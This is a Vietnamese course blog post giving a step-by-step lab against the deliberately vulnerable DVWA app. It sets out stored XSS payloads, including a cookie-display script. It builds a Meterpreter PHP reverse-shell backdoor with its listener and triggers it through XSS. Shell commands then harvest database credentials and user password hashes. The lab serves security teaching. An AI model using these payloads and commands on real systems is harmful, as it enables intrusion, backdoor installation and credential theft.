baner

Thứ Hai, 18 tháng 11, 2013

Hướng Dẫn Thực Hành - Cross Site Scripting (XSS) : Lesson 9

{ Cross Site Scripting (XSS) }

Section 0. Background Information
  • What is Damn Vulnerable Web App (DVWA)?
    • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
    • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
  • Pre-Requisite Labs
  • Lab Notes
    • In this lab we will do the following:
      1. We will test a basic cross site scripting (XSS) attack
      2. We will test an iframe cross site scripting (XSS) attack
      3. We will test a cookie cross site scripting (XSS) attack
      4. We will create a php/meterpreter/reverse_tcp payload
      5. We will start the php/meterpreter/reverse_tcp listener
      6. We will upload the PHP payload to the DVWA Upload screen
      7. We will test a PHP Payload cross site scripting (XSS) attack
  • Legal Disclaimer
       Bài lab chỉ dùng trong môi trường học tập
Section 1. Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click on the OK Button.

Section 2. Login to Fedora14
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14
      3. Play virtual machine
  2. Login to Fedora14
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

Section 3. Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal
  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>
  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.106.
      • Please record your IP address.

Section 4. Temporarily Disable SELINUX and Firewall
  1. Start a Terminal Console
    • Instructions:
      1. sestatus
      2. If SELinux status: is set to disabled OR if Current mode: is set to permissive, then skip the next steps, and Continue to the Next Section.
      3. If SELinux status: is set to enabled AND if Current mode: is set to enforcing, then Continue the next steps.
    • Notes:
      • In my case, I need to temporarily put selinux in permissive mode to demonstrate basic attacks on DVWA.
  2. Place selinux in permissive mode
    • Instructions:
      1. echo 0 > /selinux/enforce
        • Placing a "0" in the enforce file, puts selinux in permissive mode.
      2. sestatus
        • Notice that "Current mode:" changed to permissive.
  3. Disable Firewall
    • Instructions:
      1. service iptables save
        • This is not really necessary, unless you have made recent changes to the firewall.
      2. service iptables stop
        • This command disables the firewall.

Section 5. Fix Stored Cross Site Scripting (XSS) Comment Box
  1. Fix Character Limit
    • Instructions:
      1. cd /var/www/html/dvwa/vulnerabilities/xss_s/
      2. vi index.php
      3. Continue to Next Step
    • Known Issue:
      1. By default, the comment box in the XSS stored GUI will only allow for 50 characters.  So we are going to change the character limit to 250 characters to demonstrate the following attacks.
  2. Search for mtxMessage
    • Instructions:
      1. Press the "/" key
        • This will put in you search mode in the bottom left part of the screen.
      2. Type "mtxMessage" and hit <Enter>
  3. Replace number
    • Instructions:
      1. Your cursor should now be on the "m" on the word mtxMessage.
      2. Scroll over to the 5 after maxlength.
      3. Press "i" and type "2"
        • This will place the number 2 in front of the number 50.
      4. Press the <Esc> key
      5. Type ":wq!"

Section 6. Configure BackTrack Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight BackTrack5R1
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Do not Click on the OK Button.

Section 7. Login to BackTrack
  1. Start BackTrack VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select BackTrack5R1
      3. Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx

Section 8. Open Console Terminal and Retrieve IP Address
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.105.
      • Please record your IP address.
Section 9. Login to DVWA
  1. Start Firefox
    • Instructions:
      1. Click on Firefox
  2. Login to DVWA
    • Instructions:
      1. Start up Firefox on BackTrack
      2. Place http://192.168.1.106/dvwa/login.php in the address bar.
        • Replace 192.168.1.106 with Fedora's IP address obtained in (Section 3, Step 3).
      3. Login: admin
      4. Password: password
      5. Click on Login

Section 10. Set Security Level
  1. Set DVWA Security Level
    • Instructions:
      1. Click on DVWA Security, in the left hand menu.
      2. Select "low"
      3. Click Submit

Section 11. XSS Stored Basic Exploit Test
  1. XSS Stored Menu
    • Instructions:
      1. Select "XSS Stored" from the left navigation menu.
  2. Basic XSS Test
    • Instructions:
      1. Name: Test 1
      2. Message: <script>alert("This is a XSS Exploit Test")</script>
      3. Click Sign Guestbookt
  3. View Test 1 Results
    • Notes:
      1. Notice that the JavaScript alert we just created is now displayed.
      2. Every Time a user comes to this forum, this XSS exploit will be displayed.
      3. This exploit can be easily modified to capture cookie/session information for future Man-in-Middle attacks.
    • Instructions:
      1. Click OK

Section 12. XSS Stored IFRAME Exploit Test
  1. Reset Database
    • Instructions:
      1. Select "Setup" from the left menu navigation.
      2. Click on the Create / Reset Database Button.
    • Notes:
      • We need to reset the database otherwise the each XSS exploit will appear for each example.
  2. XSS Stored Menu
    • Instructions:
      1. Select "XSS Stored" from the left navigation menu.
  3. XSS Test 2
    • Instructions:
      1. Name: Test 2
      2. Message: <iframe src="http://www.cnn.com"></iframe>
      3. Click Sign Guestbook
  4. View Test 2 Results
    • Instructions:
      1. Notice that CNN is displayed under "Test 2's" Message.
        • This is a powerful exploit because a user could use SET to create Malicious cloned website and place in here.
          • e.g., Social Engineering Toolkit (SET): Lesson 3: Create Malicious Weblink, Install Virus, Capture Forensic Images

Section 13. XSS Stored COOKIE Exploit Test
  1. Reset Database
    • Instructions:
      1. Select "Setup" from the left menu navigation.
      2. Click on the Create / Reset Database Button.
    • Notes:
      • We need to reset the database otherwise the each XSS exploit will appear for each example.
  2. XSS Stored Menu
    • Instructions:
      1. Select "XSS Stored" from the left navigation menu.
  3. XSS Test 3
    • Instructions:
      1. Name: Test 3
      2. Message: <script>alert(document.cookie)</script>
      3. Click Sign Guestbook
  4. View Cookie
    • Notes:
      1. Below is the cookie/session that the webserver establishes with the current browser session.
      2. An attacker could easily modify this XSS script to send the cookie to a remote location instead of displaying it.
      3. Image if this was a bank website. Every time a user logs in their cookie information could be sent to a remote location.
    • Instructions:
      1. Click OK.

Section 14. Build PHP msfpayload
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Create msfpayload
    • Instructions:
      1. mkdir -p /root/backdoor
      2. cd /root/backdoor
      3. msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
        1. Obtain the BackTrack IP Address from (Section 8, Step 2).
      4. ls -l FORUM_BUG.php
  3. Edit FORUM_BUG.php
    • Instructions:
      1. vi FORUM_BUG.php
  4. Remove the "#" character
    • Instructions:
      1. Press "x" to delete the "#" character on the first line.
      2. Press <Esc>
      3. Type ":wq!"

Section 15. Upload PHP Payload
  1. Upload Menu
    • Instructions:
      1. Select "Upload" from the left navigation menu.
      2. Click Browse
  2. Navigate to FORUM_BUG.php
    • Instructions:
      1. Click on root
      2. Click on FORUM_BUG.php
      3. Select Open
  3. Upload FORUM_BUG.php
    • Instructions:
      1. Click the Upload button
Section 16. Start PHP Payload Listener
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Start msfconsole
    • Instructions:
      1. msfconsole
  3. Start PHP Listener
    • Instructions:
      1. use exploit/multi/handler
      2. set PAYLOAD php/meterpreter/reverse_tcp
      3. set LHOST 192.168.1.105
        • Obtain the BackTrack IP Address from (Section 8, Step 2).
      4. set LPORT 4444
      5. exploit
      6. Continue to Next Section

Section 17. XSS Stored window.location Exploit Test
  1. Reset Database
    • Instructions:
      1. Select "Setup" from the left menu navigation.
      2. Click on the Create / Reset Database Button.
    • Notes:
      • We need to reset the database otherwise the each XSS exploit will appear for each example.
  2. XSS Stored Menu
    • Instructions:
      1. Select "XSS Stored" from the left navigation menu.
  3. XSS Test 4
    • Instructions:
      1. Name: Test 4
      2. Message:
        • <script>window.location="http://192.168.1.106/dvwa/hackable/uploads/FORUM_BUG.php" </script>
          • Replace 192.168.1.106 with the IP Address obtain from Fedora 14 in (Section 3, Step 3).
      3. Click Sign Guestbook
      4. Click OK when the Test 1 Message is displayed
      5. Continue To Next Section
  4. Viewing XSS Test 3 Results
    • Instructions:
      1. Notice how the "Connecting..." appears to be in an infinite loop.
      2. This will continue for the duration of the PHP/MSF PAYLOAD exploit.
      3. Continue To Next Section

Section 18. View Metasploit Session
  1. View Metasploit Session
    • Instructions:
      1. Notice that BackTrack now has a connection into the Fedora 14 Webserver.
      2. Continue to Next Step.
  2. Establishing a Shell
    • Instructions:
      1. shell
        • Establishes a "sh" shell.
      2. tail /etc/passwd
        • This produces a potential prospect list for a ssh brute force attack.
  3. Find Configuration Files
    • Instructions:
      1. whoami
        • Displays the name of the user.
      2. grep apache /etc/passwd
        • The goal of this command is obtaining the home directory for the apache username.
      3. find /var/www/* -print | grep config
        • Here I am wanting to find all the configuration files in the /var/www directory.
  4. Exploit the Configuration File
    • Instructions:
      1. grep "db_" /var/www/html/dvwa/config/config.inc.php
        • This produces the database name, username, and password information to log into the mysql database.
      2. echo "use dvwa; show tables;" | mysql -uroot -pdvwaPASSWORD
        • This command produces a table list of the dvwa database.
      3. echo "use dvwa; desc users;" | mysql -uroot -pdvwaPASSWORD
        • This command describes the columns of the users table in the dvwa datase.
      4. echo "select user,password from dvwa.users;" | mysql -uroot -pdvwaPASSWORD
        • This command displays the user and password information for each user in the dvwa.users table.
  5. Exploit the Configuration File
    • Instructions:
      1. echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
        • Place the html <pre> tag in the xss.html file.
        • The <pre> is used as a pre-formatter.
      2. echo "select user,password from dvwa.users;" | mysql -uroot -pdvwaPASSWORD >> /var/www/html/dvwa/hackable/uploads/xss.html
        • Place user and password for the dvwa.users table in the xss.html file.
      3. echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
        • Place the close html </pre> tag in the xss.html file.
      4. echo "<br>Your Name<br>" >> /var/www/html/dvwa/hackable/uploads/xss.html
        • Replace the string "Your Name" with your actual name.
      5. date >> /var/www/html/dvwa/hackable/uploads/xss.html

Section 19. Proof of Lab
  1. Proof of Lab
    • Proof of Lab Instructions:
      1. On BackTrack, place the below URI in Firefox
        • http://192.168.1.106/dvwa/hackable/uploads/xss.html
          • Replace the above IP address with the IP Address obtained in (Section 3, Step 3).
      2. Do a <PrtScn>
      3. Paste into a word document
      4. Email to AnToanThongTin.Edu.VN@Gmail.Com

1 nhận xét:

Hướng Dẫn Thực Hành - Cross Site Scripting (Xss) : Lesson 9 ~ Cao Học Ptit >>>>> Download Now

>>>>> Download Full

Hướng Dẫn Thực Hành - Cross Site Scripting (Xss) : Lesson 9 ~ Cao Học Ptit >>>>> Download LINK

>>>>> Download Now

Hướng Dẫn Thực Hành - Cross Site Scripting (Xss) : Lesson 9 ~ Cao Học Ptit >>>>> Download Full

>>>>> Download LINK Cn

Đăng nhận xét